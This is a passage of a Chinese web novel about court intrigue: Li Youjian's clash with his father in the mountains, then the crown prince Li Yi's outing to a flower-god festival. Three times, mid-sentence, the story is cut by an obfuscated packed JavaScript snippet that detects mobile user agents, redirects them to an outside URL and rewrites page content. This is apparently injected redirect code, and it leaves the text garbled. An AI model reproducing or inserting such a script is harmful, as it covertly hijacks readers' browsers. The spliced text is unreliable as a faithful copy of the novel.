李如意吓得缩在虎笼最角落。 二卢胆战心惊,颤颤巍巍道:“李攸简,这可是你的亲弟弟!” 李攸简说:“我娘就我一个。” 说罢,他就徒手拧开了虎笼上的锁,放出了李如意旁边的老虎,带着它到雪地里洗澡了。 二卢一看他拧锁如此轻易,便扑上去,在李如意的笼前死命摇撼,谁知那铁锁竟纹丝不动,这下才知李攸简怪力非常,再也不敢挑衅。 一时间,天地间只剩下李如意的哭喊和几声虎啸。 李如意被虎啸吓得失禁,又看天地茫茫,爹娘也不在,以为自己要被困在笼中一生一世,惊痛之下哭得都要脱水了,原本还咒骂威胁,现在扒着笼子,喊李攸简兄长,求他放自己一马,山上有狼有老虎,他真的很害怕。自己再也不来找他和王老货——不对不对,是王娘子,王妈妈的麻烦了。 李攸简置之不理。 二卢一看情势不对,再下去天要黑了,他们此行是专门陪着小公子来给李攸简下马威的,他人不知,要是再这么耽搁下去,李攸简把他们喂了老虎,那真是死不见尸了。 于是猜拳定了生死,一人守着李如意,一人则飞奔下山寻求援兵。 李攸简没拦他们。 他给老虎们抓了一下午的雪,手掌心都没有冻红一点。落日时分山间温度低,他才感到一点冷,把单衣的袖子放下来,随手招来一只老虎枕着,一人一虎就在草地上睡着,做起美梦来。 梦到什么他忘了,梦境的最后是一阵马蹄声,睁开眼,远方迤逦奔来一行明火仪仗。 李如意喊劈了嗓子:“爹爹,爹爹救我!老虎要把我吃掉啦!” 李攸简睁开眼睛,舌头摁住上颚,有点儿好笑地在心里品尝这两个字:“爹爹。” 他们两个人的父亲,齐王李景毅翻身下马,手执宝剑,一下劈断了虎笼铁锁,侍从立刻把如意抱出来,交给后头那个同样劲装赶来的女人。 李如意哭喊道:“娘!娘!我要打老虎给你做垫子,阿哥不愿意……就把我关起来给老虎吃……” 女人没说话,把孩子抱起来,望着李景毅,意思要他处置。 李景毅大感麻烦,走到李攸简面前,李攸简没起来,宝剑便狠狠一竖,插在李攸简两指之间:“他是你弟弟,你怎么可以这么对他?” 李攸简双指夹住剑身,手指急速往上划到剑柄处,生生以双指把宝剑拔出,扔向远方:“说了,我娘就我一个。” “你们。”李攸简手指点一点,“少来我面前晃眼,行不行?” 李景毅已经许久不曾和他见面,闻言怒从心起:“你这孽障!”要去拔剑时,却发现自己那把剑正在远处草坪里躺着,只能反指回去。 李攸简说:“我说了,要么弄死我,要么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352540|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别来烦我。”他还挺疑惑的:“很难理解吗?” “好,我今天就——” “你杀了我。”李攸简望着他,笑起来,牙齿白森森,瞳孔金闪闪,“明天李知微就杀了你。” 李攸简终于从地上起来。 他长得很高,但不壮:“你以为你干的事能有多隐秘,李知微不杀你,只是看不起你罢了,他要是——” 听见皇帝的名字,李景毅终于忍不住,狠狠一个耳光甩在儿子脸上。 他也是习武之人,力道非同小可,李攸简铜头铁骨一样的人物,竟也被打得偏过头去,吐出一口血,淡然道:“我又不吃痛,你要么打死我,要么就别碰我,不过你要是敢在我脸上留一点痕迹——” “李颐的人马上就要到了,要是让他的使者看见我脸上有一点伤。”李攸简又笑了,“咱们就一起去死。” 日薄燕山,老虎默默下山,围在李攸简身边。 女人终于出声了:“大王,走吧,天要黑了。” 李景毅冷哼一声,甩袖走了,女人并没有即刻跟着他上马,而是轻移莲步,走到李攸简面前,摸摸他脸颊上的巴掌印,慈爱道:“唉,怎么当年死的不是你呢?” 李攸简说:“不仅当年死的不是我,以后死的也不会是我。” 郑歆微微一笑:“你不死的话,我儿子怎么办?” 她三十来岁,容颜仍娇美如少女,只是眉间有种挥洒不去的轻愁,脆弱如芦苇一般,却通过血缘与性/缘操控着范阳城。 此刻守卫在远方,只要李攸简一伸手,她绝无反抗之力,马上就能死去。 可他没有动手。 郑歆笃定一笑,回身融入夜色,一行人正准备离去,李攸简忽然又开口了:“卢迈。” 被点名的人浑身一凛,当场定住,李攸简笑着开口道:“薛洽算什么东西?” 人家薛洽是李颐的亲表兄,每天陪着李颐吃陪着李颐睡,关系比你这个堂堂堂出五服的皇亲近多了! 但整个队伍没人说话。 火光渐渐远去,李攸简一个人被抛在黑暗里,又忽然想起什么似的,一拍脑袋:“哎哟我/操!忘记问他要钱了!” 山间回荡起他的呼喊:“涅礼!涅礼!遥辇涅——礼——” 猎鹰掠过,不一会儿,契丹少年打马下山,他周身装束与李攸简不同,满头乌发扎成细辫,用金环束住,面容冷肃如石。 李攸简伸出手:“借点钱。” 涅礼说:“没有。” 李攸简说:“会还你的。” 涅礼明确指出:“你没有任何资产。” 李攸简是个穷光蛋,除了齐王世子的名号什么也没有,尤其是在齐王为了图谋大业,和范阳卢氏建立联系,背着朝廷与卢家的外女郑歆交纳,生下儿子的现在。 李攸简和他母亲王氏外无奥援,内无姻亲,坐困燕山,要不是害怕他俩死了引来朝廷追查,恐怕早就被卢家除掉了。 李攸简摇摇头:“非也,非也,本人的润笔马上就要到了。” 涅礼挑眉:“你?” 李攸简虽然不至于到文盲的地步,但吟诗作对、附庸风雅,应当是另有人选。 李攸简说:“不管了,先给点钱,我儿子们要吃肉了。不然把你吃了哈。” “你!” 一着不慎,涅礼辫子上的金环被李攸简拽下两颗来,老虎在山上肆意奔跑,李攸简抢过涅礼的马,飞奔下山:“过两天就还你!” 空旷燕山回荡着他的喊声,叫亮了一队灯火。 “东宫睿旨到——” 李攸简当即勒马,怔怔望着东宫使者,下马叩首:“臣李攸简接旨!” 二月十五日,李颐给李攸简上元节的回礼,终于姗姗来迟。 后数百抬箱笼绵延开来,夜色下,锦缎绶带散着五色神光。 浮光锦,十人百日成一匹,彩丝蹙成龙凤纹,上缀九色真珠,寸锦寸金。 李颐最喜欢它的光彩,绑在礼盒上作带子,久而久之,浮光带就成了东宫的标志。 李攸简也很喜欢,浮光带很贵,每次李颐送他东西,他都把浮光带弄到外面市场上去卖掉赚钱。 浅黄绸缎包裹的礼单打开,厚厚一本,长长看不到头。 “东宫赐,金五千锭,银一万锭,绢五千匹……” 伏地的时候,李攸简忽然想,李颐在干什么呢? 11.独使至尊忧社稷3 李颐正等着出门。 他养在深宫,喝的药比见的人多,自从上次玉祥楼看了一番人潮以后,就心痒难耐,总期待再来一个什么狂欢节庆。 正月大部分时间他都在养病,病刚养好,屁股又开花了。他不怪妙觉摁着他横冲直撞,转头把周易书的来源暗示给了乐寿,乐寿滔滔不绝骂了薛洽半个时辰,薛洽被骂得臊眉耷眼,被迫承认自己是世上第一登徒淫/魔,乐寿才放过他。 李颐解了气,不由一笑。 薛洽转眼过去,见李颐轻轻抿起唇,面容生动起来,不知他怎么开心,又不知他怎么不开心,连忙凑过去。 李颐倒转笔头敲了他头一下,恶人先告状:“那天我找不着书,想你房里有没有,就去你房间翻了翻,打开来以后才发现不对,你怎么会把书藏在这里?” 他的意思是说薛洽应当藏在自己家里,隐蔽一些,毕竟值房是公用的,随时可能被人发现。 薛洽怏怏道:“这不是没办法嘛,我爹管我严,小时候我背错书,二话不说就往死里打,要是让他知道我看这种书,非把我脑浆子抽出来不可。” 李颐听罢,惊道:“大舅舅竟然这样?”他记得薛洽的父亲薛如曜因早年在战场遭了血煞后,转而开始信仰佛教,为人更是谦和温良。 薛洽正要卖可怜,夸张道:“殿下不信,臣背上还有疤呢,臣有一年急着去后院玩,走得快了些,被他看见,他当场就用手炉砸我,我一躲,炭火淌在背上,衣服都烧焦了,可疼啦!” 他说到这里的时候,没有恨父亲的暴脾气,就是有点羡慕李颐,李颐这样被皇帝捧在手心,不管做什么,怎么做,都是最好的;像他,自己亲兄弟五六个,堂兄弟七八个,连谁先会走路、谁先会说话都要比一比,就说他来伺候李颐,那也是过五关斩六将。不打能成么?玩着玩着,前途就给玩没了! 却不想李颐听罢,蹙眉怜道:“怎么不早说,我这儿有祛疤药,不知道还管不管用?” 薛洽讶然无语,支吾道:“我在殿下身边,他已经不打我啦……而且他是军旅出身嘛,带兵打仗的人,难免脾气大的。” 当然,他爹以为打孩子这招能让孩子出息,故技重施变本加厉,苦了弟弟妹妹们,这也是后话,和他没关系。 他早就前途一片光明。 可在李颐如水的目光下,他忽然挺后悔自己说些这些话来博可怜,又想把自己背上那块小疤抠出来叫李颐心疼,想来想去,他没办法接受李颐的同情,他受不了,他快给李颐的眼睛烫化了,烫得醺然欲醉、翩翩起舞,眼睛也睁不开,只能回避—— “所以我也不敢把书藏在家里,就想着带来,就是被人看见了,大家一起看看,咳咳,也、也独乐乐不如众乐乐,谁知道给您看去了!” 李颐屋里全是书,光周易就有古来名家注的十几个版本,丢了一本还有一本,为什么要到他房间去找? 不管了!谁让李颐就是去了?这顿骂挨的不冤。薛洽心想自己该骂,又急道:“您怎么能看那个呢?” 李颐奇了怪了:“我怎么就不能看了!” 薛洽说:“那书粗制滥造的,书页划了手怎么办?上面字还印的不好,画也是拓的,臣明天给您带两本手抄手画的,保准……” 乐寿气沉丹田:“薛!小!郎!!!” 薛洽这才发现乐寿早到了他身后,李颐看得一清二楚,就是没提醒他:“哎呀殿下您怎么不告诉我呢!” 李颐在思考一个问题。 如薛洽所说,那书是粗制滥造的,肯定挑着最刺激的步骤来,肯定是有些东西画简略了,没让他学到,不然怎么会这么痛呢? 当然,痛到最后,又有点说不清道不明的意思在里头,但总体还是痛的。 他身体虽然不好,总体受内伤多,外伤是舍不得碰开一点的,那次过后流了好几天血,心里也有些害怕,半个月都不敢轻举妄动,得再学一学不可——这事也没办法,又不能叫妙觉学。 他虽然叫乐寿悄悄去买一些,就是,不同寻常的膏,总之是专用的,并不是擦脸的兼职那种膏,最好能用了叫人舒服的,但,膏只是外物,他自己得再琢磨一下! 等乐寿走了,李颐又给薛洽下指示道:“那手工画的,你给我拿几本来。” 薛洽心想你叫我给你演都成啊,李颐都十八岁了,再不看人都傻了。于是热津津地点头,又听李颐补上一句道:“要男的。” “那女的一个人也来不成事儿啊!” “两个男的!” 薛洽心想李颐看着文弱,心思还挺花:“三个人啊?” 李颐“啧”了一声:“只要男的!” 薛洽沉默了。 李颐和他说话之前正在练字,巨大书案上摆着名家原帖,重华宫四季如春,他没束头发,穿一身月白色的曳地袍,广袖挽起,露出一段手腕来,薛洽看见他的脉,蓝色的,细溜溜交织。 他上去把李颐的头发拢在脑后,央道:“我看也别拿了,您要玩儿,拿我试得了。” 李颐倒不抗拒他摸,他也习惯了,衣食住行哪个不要人碰的,他洗个澡就得二十多人围着,怕人摸哪里行。 只是横了薛洽一眼:“你?不行,你可不干净。” 薛洽的事,他还是清楚的。 薛洽急了:“我后面干净呀!” 他恨不得拍拍自己的屁股给李颐展示一下,同学子弟间这是常有的事,就连昭文院这种只许贵胄子弟就读的地方也是层出不穷,学书相爱学书相爱,一边学着书,一边就相爱了,以后同朝为官,未尝不是人脉。 就是当今陛下因为多读了几年书,至今还有点同学间艳闻流传,也没见他怎么着啊! 要他说李颐也应该到昭文院上课去,就知道他薛洽是个多干净的人了,皇帝把太子都快养成公主了! 公主,哦不,李颐挂好笔,转出桌案:“不要,你们身上都是毛,难看死了。” 这人怎么胡搅蛮缠呢? 薛洽又不爱扒开自己屁股看,哪里知道自己后面是什么光景,就是有又怎么样,人难道就许头皮长毛,不许屁股长吗? 都是人身上的地方,凭什么厚此薄彼。 这么理直气壮,难道你没有毛? 李颐好像手上一点毛都没有,没保准…… 等等。 “们”是什么意思啊?“们”?! 薛洽站在原地,仿佛被天雷劈中,回过神来时,李颐已经躺在摇椅上,拿书遮着脸,恹恹地,偶尔看一看外头。 李颐在等父亲。 他已经哽着大半个月没有看见李知微了,这在他整个生命中都是不可思议的事情。 先是他生病,爹爹竟然一次都没来看他!当然,后头他屁股开花,唯恐被爹爹看见,一心虚,大半个月就过去了。 这半个月里,前朝倒闹腾出许多事来,李颐在深宫中也有耳闻。 先是罢了宗室宰相兼吏部尚书李敦舒,加封司徒,让他赋闲养老。这倒不要紧,皇帝精力旺盛、过目不忘,朝廷大小官吏升迁黜降牢记于心,吏部尚书早没了发挥空间,只奉旨而已。 紧接着,户部侍郎陶时止填了空,任吏部尚书,加同平章事,入政事堂。 众人齐齐晕倒,心想这鲜卑黑奴今年就三十出头,嘴上没毛的货色拜相,陛下三思啊!心里又知道,正经八百靠门荫科举升官那都是论资排辈,按部就班可不得五六十才当上宰相。 要年少有为,还得跟着皇帝干啊! 李颐听见他那不大正经的老师拜相,也很吃了一惊,不过他日渐长大,对政坛之事也有了些了解。陶时止再不靠谱,那也是自己的老师,天地君亲师,前四个都是固定的,唯有后面那个靠缘分,重用陶时止,也是信任东宫的表现。 父亲的爱从未远离。 紧接着,便是边镇更戍洗牌。 绛朝的领土虽大,也有不能拂照之地,于是就有了羁縻府州、诸藩邻国。其中,南边羌蛮虽偶有叛乱,但远离国都,不能成气候,因此用兵重点还是放在了北边。 西北有强国吐蕃,虎视眈眈;东北有突厥、奚、契丹、靺鞨,群狼环伺。 各国情况也不尽相同。如吐蕃与大绛是邻国,对话平等;突厥时叛时附,列属臣国,如契丹、靺鞨则是羁縻地带,其首领不称汗,仅是绛朝的郡王。 名分不同,手段倒是殊途同归。 无非就是和亲联姻、高封厚赏再辅以军事震慑,和前朝府兵亦兵亦农,需要自备马匹盔甲参战不同,如今是募兵而战,近四十万健儿军由国家发给钱粮,长年受训,勇猛无匹。 但又产生了一个新问题。 健儿军固然勇猛,但长年待在军中,容易变成将领的私兵。 为防将领拥兵自重,李知微只能再出一招,边镇更戍。 将领最多在地方上任职五年,五年后便调回中央,断绝和戍地联系。一般来说,将领们的任职时间不一,换血也是慢慢来,李知微这次却动了两个大的。 幽州刺史许敬则年前来京述职后一直没回去,二月初,一道圣旨下来,幽州刺史成了薛如曜,就是薛洽的父亲,他是羽林卫出身,走的是军功入仕一途,曾也参与过打突厥,前几天李颐给屁股养伤时他不在,就是送父亲去了。 而和吐蕃最近的鄯州,鄯州刺史成了韦时务,正统武将,李颐原不在乎,可不知怎么着,他忽然想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360908|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了窦二娘子,命人去查,果然发现此人是裴见濯父亲裴望亲妹的三外甥,换而言之,是裴见濯的表兄。 这边,李颐的姨夫窦天龄升京兆尹;统管京师治安的金吾卫大将军成了裴见濯曾经的部下孙道周。 最后,裴见濯以疏通漕运、三路转搬之功受封太子少师,就此回朝,仍遥领扬州大都督职,朝野哗然。 太子少师名义上说是“掌奉皇太子以观三师之道德而教谕焉”,其实并不具体参与东宫事务,一般来说是年老文臣的荣誉加官,裴见濯正当壮年,加此一官,莫名其妙就和东宫产生了联系。 以裴见濯为中点,从东到西的边境军队,从内到外的京城布防全部汇集在李颐周围。换而言之,李颐如果能说服裴见濯,立刻就能将李知微扼死宫中。 古往今来,都没有权势如此之盛、地位如此之稳的少年太子。 父亲的用意,别人不明白,李颐却一清二楚。 哪里是为了他呢?权势盛不盛,对李颐来说有什么要紧? 什么孙道周、韦时务,什么博陵崔、河东裴,都不过是裴见濯的外戚而已! 把裴见濯的位置换成皇后,大家就能想通了。 裴见濯这些年在外面呆的时间太久,如今回了中央,李知微有意培养他和李颐之间的感情,弄得裴见濯一个封疆大吏成了跑腿,天天往东宫来。 花朝节,眼看晌午也不见紫宸殿有一句口信捎来,一直到吃过午饭,乐山才过来通报:“殿下,大都督来了。” 按理说裴见濯是东宫的老师,又是皇帝重臣,他来东宫,该由东宫给事乐寿出迎相拜,太子临轩肃立,以显示尊师重道、礼贤下士。 可这些待遇一概没有。 一来是裴见濯这人整天在河道上跟力工混,没什么架子,二来也是他来得太频繁,第三呢,东宫众人看人下菜碟。 李颐原本在发呆,听见裴见濯来了,倒装模作样地拿起书看起来,摇椅一摇一晃,薛洽坐立难安,眼看裴见濯已到廊下,连忙请示:“大都督已到了。” 李颐轻轻哼了一声,示意他虽然不想要裴见濯进来,但裴见濯可以进来了。 薛洽百思不得其解。 李颐若说是避嫌,那更该保持距离,疏阔以待,叫人挑不出错来,这样使小性,不像避嫌,倒好像是等着谁来给他认错赔不是的。 这裴见濯刚从河道上回来,能把他怎么着? 他正想着,裴见濯那边已进门来,李颐瞄了瞄他后面没有人,站起身来,与裴见濯见面拜过。 裴见濯刚从紫宸殿过来,身上混着很重的龙涎与苏合,龙涎是皇帝御香,至于苏合,除了香用外还是一味药,用来镇痛。 李颐常年病着,鼻子闻见苏合不以为怪,还以为是自己袖子里飘出来的;薛洽倒有些奇怪这香气太浓,甚至超过了李颐的用量——李颐十五岁生病那会儿痛得浑身抽搐,医官给下了重剂苏合,后来李颐都抗药了——这话薛洽徘徊在心里没说,想也许是裴见濯在外头的时候落了点小毛病,冬天嘛,总是阴一些,容易旧伤复发。 不过裴见濯看起来面色还好,脸上笑盈盈的:“今日是花朝,民间有迎祭花神的庙会,还有做花糕、挂红绸的,挺热闹,陛下让臣带您出宫去看看。” 从前李知微忙的时候,也常叫裴见濯带李颐出门玩一圈,李颐玩得开开心心,晚上回宫抱着李知微的胳膊,翻来覆去地讲见闻,倒很和乐。 李颐如今才品味过来背后用意。 于是道:“你来得不巧,我已和阿觉约好,就要出门去了。” 实则他头发还没束,衣服也没换,就等着李知微来请他,他再大发慈悲同意,叫李知微好等一阵、痛改前非以后再施施然出门。 他连腹稿都打好了——爹爹,我把裴见濯当长辈看,他没孩子,我愿意给他养老送终,你为什么非要他代替我母亲的位置? 可惜李知微没来,李颐气闷得很,明里暗里要裴见濯好看:“人说花朝节是女儿节,女儿求情郎,妇人求子嗣,我看大都督的确该去逛一逛,没准就有家室了。” 裴见濯如风过耳:“殿下说的是,有道理,那殿下怎么和和阿觉这个出家人约着去玩了,这不是损人梵行么?” 李颐:“……” 裴见濯笑了一下,拍拍他的肩:“我找人去叫阿觉,你去换衣服、梳头发,陛下在宫外等你。” “真的?” 李颐一听后面那半句话,眼睛亮了亮,连忙拢起头发往镜台走,宫人们看他如此举动,便围上来替他系裹。 裴见濯任务完成,正往外走时,李颐忽然出声:“那你那个扬州的相好呢?” 怎么这会儿不提了? 12.独使至尊忧社稷4 裴见濯前几天撒的谎被戳破,也只是摊手笑笑。 李颐扳回一局,鸣金收兵。少顷,束了莲花冠,换了一身高领白地仙人跨鹤罗袍,又因春寒,在外头裹了一件厚披袍,方雀跃上车。 车驾驶出含光门,李颐望着街景,春树上已挂满祈愿红绸,一片生机勃勃,心中说不出的快活。 十五岁时的病痛太烈,连绵了两年,濒死挣扎的痛苦让他模糊了从前李知微、裴见濯带他出门玩的记忆,这会儿能出去,又知道父亲和妙觉在等他,更是兴高采烈。 “咱们去哪儿?我听说街坊之间风俗不同,有些坊里会出钱塑一个大花神,像平康坊还会请人来扮花神、选花神,听说头名能拿一万钱?是怎么选法?” 裴见濯答道:“咱们今天就是要去那儿。选花神,是将花放到候选人怀中袖里,一花如一票,得花最多者胜出。” 平康坊是都城第一风流圣地,妓女萍居,侠少萃集,富得流油,节庆时更舍得下本钱。尤其是这种选美比赛,若能力压群芳选得花神,和选得天下第一美人也没什么区别,竞争激烈程度可想而知。 李颐也想凑凑热闹,刚想问这花是随便摘的,还是得到什么地方买,他也要去投票选美,话都到嘴边了,想起来自己还没给裴见濯下马威,于是板着脸看向外面:“外头树上怎么一朵花也没有?” 他的票呢? “正月里还下了雪。也许今年春天来得晚,花还没醒。” 李颐心里还想着投票,可听裴见濯回答得挺正经,低头想了半天,憋出来一句:“瑞雪兆丰年,挺好的。” “是,挺好的。” “噗嗤。”在外头骑马守卫的薛洽听了半天,终于没忍住笑出了声,再转头时,李颐掀了帘子,面容如轻雪薄瓷般,眼波那么一横。 薛洽赶紧讨饶,往自己嘴上划拉个口子,示意再不敢笑了。 李颐没饶了他。 平康坊离蓬莱宫不远,不一会儿便到了,薛洽下马伸手,要把李颐扶下车,李颐还没消气,横他一眼,示意他滚蛋。 薛洽笑道:“我错了我错了,我给殿下摘花去,殿下想投给谁就投给谁。” 他不说还好,他一说,李颐抬头一看,全平康坊的花都被摘完了,桃枝玉兰都光秃秃的,只有红绸在风中摇曳。 “早干什么去了?”李颐骂他。 这会儿已经是下午,再有一会儿花神都要选出来了,哪里还有花给人摘? 李颐更是心烦,推开他的手臂,径自跳下车去。 裴见濯在他后面看见了:“哎!” 李颐没注意这声,只想着车不高,跳下去没问题,却没想车停了,马还没歇,又往前走了两步。 “殿——”薛洽高声大喊,众人侧目。 李颐踩了个空,踉跄着向前冲了好几步,正抵抗不住要摔倒的时候,忽然被人一扶,抱在怀中。 妙觉抚摸他的莲花冠,安定笑一笑:“善思?” “踮着脚走路怎么行呢?”薛洽舌头一转,强行把话圆回来。 人流熙攘,李颐趴在妙觉的怀里,仰头轻声问:“想不想我?” 妙觉闭着眼睛:“我……” “花神娘娘到——” 李颐听见喊声,兴高采烈撒开手去,过了一会儿,妙觉方抬手,似乎知道自己心口处被李颐揪出褶皱那般,伸手抚平。 周遭市井空荡,万人倾巢而出,只见一卷泥色红绸滚来,先有一十二人为导引,洒水净街,驱散人群,紧接着是花钹椎鼓等乐声充耳,人群在街边观看,呐喊礼拜。 花神像至此显露。 花神高约一丈,立于无顶檐子上,由六个大汉抬行,万姓仰头观看,见衪做工奇巧,相好毕备,丰容靓饰,彩漆摹出红绿一片明艳色彩,正前供香花妙果薄饼等物,所过之处,人人顶礼。 之后便是狂欢时刻。 向来只在平康坊南曲迎接达官贵人的娘子们显露真容,各倚新妆,髻上簪着杏梅玉兰等时令花朵,或作飞天姿态,或持净瓶甘露,更有娇俏明媚者不穿罗裙,改换短打,怀抱背篓,仿佛游巷卖花女一般,请人们掷花其中。 她这等巧思最占便宜,铺天盖地的鲜花扔过来,有人怀中都接不住了,唯有她稳稳当当捧着满满一篓。 薛洽重金从别人手里买了两支花给李颐:“月君拿去扔吧,看谁顺眼就扔给谁。”他还指导李颐,显然颇熟悉:“这个杏花仙姓南,琵琶弹得好;那个桃花仙,跳舞还行;至于这个卖花女——” 他还悄声给窦家上眼药:“是姨夫的表子。” 李颐吃了一惊,因为那姑娘看起来和他差不多大,顶多十七八岁光景,心中顿时生出反感,眉间也轩起远山。 薛洽看他表情就知道窦家没戏了,乐呵呵装作什么都不知道:“那个穿白衣服的漂亮,扮的是玉兰花——扔吧,扔没了我再给你买。” 李颐踮起脚望了望,埋怨道:“这么远,我怎么扔?” 平康坊迎祭花神是一年中难得盛事,观者如堵,也就是几个羽林卫在李颐身边维持秩序,不然李颐这会儿早被挤扁了,饶是如此,李颐也没到最前面去,离游行队伍还有两三排人。 薛洽道:“你往高了扔,当投壶玩儿,扔进她们怀里就行了,这花就是个算筹。” 李颐皱眉:“砸着人怎么办?” 薛洽道:“她们巴不得呢!不就是要这些噱头吗?” 话音刚落,缓慢行走的队伍里从天而降一束玉兰,连枝带叶浇了人一头一脸,砸弯了女娘的飞天髻,头上金钗都掉了一支,可她来不及捡,便急急抱着花枝继续游行。 薛洽道:“你瞧,他们不要金钗,就要花儿。” 他想李颐是不是害怕扔不中丢脸:“实在不行我抱你起来扔,你骑我脖子上。” 李颐摇头:“不要你。”说罢便往前挤,准备把花面对面递给人。 他这么一挤,周边的羽林卫头皮发麻,又怕暴露李颐身份,又怕李颐被踩掉鞋帽,只能先一步挤走人群,再让李颐把他们挤走,是以李颐安安稳稳走了好几步,手上花苞都没有掉一个——他还以为是人家心好,看他要扔花,都让着他呢。 实则帮他插队的羽林卫已经被骂得狗血淋头。 “挤什么挤挤什么挤,上面卖骚的是你爹还是你娘?!” 能当上羽林卫的家里多少也有点底蕴,在家时哪个不是主人郎君,被当头一骂气得横眉倒竖:“你说什么?” “我说什么没听见是吧,我说你驴狗一样的玩意儿还学人看娘们!” 羽林卫七情上脸,准备直接上手料理人,却没想到旁边忽然大喊一声:“小郎!” 转头望去,人山人海里,哪儿还有李颐的影子? 一个没留神,太子被人拽走了! 众人眼冒金星、头重脚轻,一边去找金吾卫来维持秩序,一边往前面破坏秩序去找李颐,再一边去找裴见濯:“都督——” 裴见濯“嘘”了一下。 众人顺着他的视线看去,人流如螭兽吐珠,将一个白衣少年挤了出来,正踏在泥红绸上。 朱漆高楼之上不知何时多了一道暖黄纱帘,一只手探出、张开。 花瓣悠然坠落,如烟如雾,洒在游行队伍上。 玉兰花、杏花、桃花……没有枝刺,没有绿叶。 李颐站在当中,仰天望去。 春风拂帘,露出天子御容。 “爹爹……”李颐喃喃道。 李知微似乎听见了他的呼唤,又一扬手,花雨落下,凝在李颐身上,像一个个温柔的吻。 见这漫天花雨,玉质少年,人群竟有一刹那的静滞。 “噌——”铜?敲响。 众人方才回过神来,不知谁先瞄准了,欢呼着削枝拨花,泼洒上去,霎那间红、白、粉、绿,铺天盖地淋遍李颐周身。 李知微在楼上轻轻笑起来。 李颐先被浇了个猝不及防,又很快反应过来,接了一袖花瓣,扬手向人群散去同乐。 “哗——” 另一边,薛洽和妙觉相对。 妙觉天性安静,如此嘈杂的环境让他无法辩明方向,大大增加了他的不安全感,李颐也不在身边。 他正懊悔此行,却意外被薛洽揽过肩膀。 薛洽从小就跟着父兄出入宴饮,早见惯了风流场面,对平康坊这种噱头敬谢不敏,也就没有拥到前面,看见李颐沐花而立的一幕,满心满意和妙觉套话:“阿觉法师向来好静,今日怎么也踏临红尘了?方才月君拿走我一枝花,还有一枝,给法师你吧。” 妙觉道:“我要花并无用处。”又问:“为什么叫月君?” 他听明白了月君代指李颐,却不解何意。 薛洽笑道:“给他起的昵称罢了,在外面我总不能叫他殿下吧?他属兔嘛,兔者月之精也,月君这名字怎么样?——哟,谢谢。来,我不白要你的,拿着。” 妙觉有些疑惑:“怎么了?” 薛洽捧着手里的花枝,凑到妙觉鼻下:“有人给我送花,我还了她一块玉佩。” “她为什么送你花?” “哪有那么多为什么?花朝节嘛,喜欢谁就给谁送花,看谁漂亮就给谁送花。” 他这话也不是自夸,他并不是普通的羽林卫,而是东宫的羽林备身,与太子形影不离,这种位置可想而知是打破头的,他能选中,并和李颐如此亲近,到了给他起小名的地步,也不全靠家世。 他实在长得英俊潇洒,让人见之亲爱。得到两束花也没什么奇怪的。 李颐嘴上不说,心里其实很看脸,东宫就连洒扫内官都相貌齐整。薛洽转眼看妙觉,此人闭眼时看不出残疾,身量英伟,风姿高彻,如壁立千仞,又比别人多了几分庄严法相,可谓不凡。薛洽看着,只庆幸他是个断情绝欲的出家人。 还是个瞎子。 所以,到底是谁趁他不在东宫,恬不知耻把屁股漏给李颐看了! “说起来,我和法师也好久不见。法师前几天在宫中,正赶上我送父亲去幽州赴任不在,刚巧错开来。” 他虽说是送出没多远就回来了,却也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367199|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费了好几天。 “还没有恭喜薛施主高升。”薛家向来是慈云寺的大主顾。 “哈哈,都是为天子尽忠罢了。就是月君那边——”薛洽问,“我不在,不知是谁在服侍月君?” 妙觉有些疑惑:“很多人,具体是服侍哪里?” 薛洽说:“哦,我是说侍卫里。” 妙觉说:“也很多。” 薛洽进一步缩小范围:“谁在月君房间里?有没有人和他一块儿睡?” 妙觉说:“我。” 薛洽:“……没别人了?” 妙觉摇了摇头。 真奇怪了,那李颐“你们”的“们”到底是谁?妙觉一个出家人没必要在这种事情上撒谎,难道此人不在东宫?可李颐足不出户,连一个迎花神都看得津津有味—— 说起来李颐人呢? 薛洽一个激灵,看游行队伍已经走远,花神塑像都成了米粒大小,虽然知道有羽林卫在,李颐不会出事,心里还是狠狠揪了一下,拉上妙觉道:“他们走远了,咱们也跟上吧。” 他们跟着人流往前进,走啊走,走啊走,踩过一地的枯枝碎叶,薛洽正心里纳罕怎么改了习惯,不连枝一起扔了,抬头却见李颐由两个羽林卫护持着走出人流,不知经历了什么,面薄桃花,顾盼神飞,肌肤上发着晶莹细汗,还黏住几片粉白,竟美得形成了一个圈,叫人自动自发退避三舍,不忍挤他。 李颐在簇拥中看见他们,举拳一挥,又低头说了两句什么,包围圈自动打开。 他向他们俩跑过来,一路跑,发上、衣上、袖口开始簌簌掉落花瓣,一走一朵花、一挪一片叶,东君化身似的张开拳头,对着手心“呼”了一声。 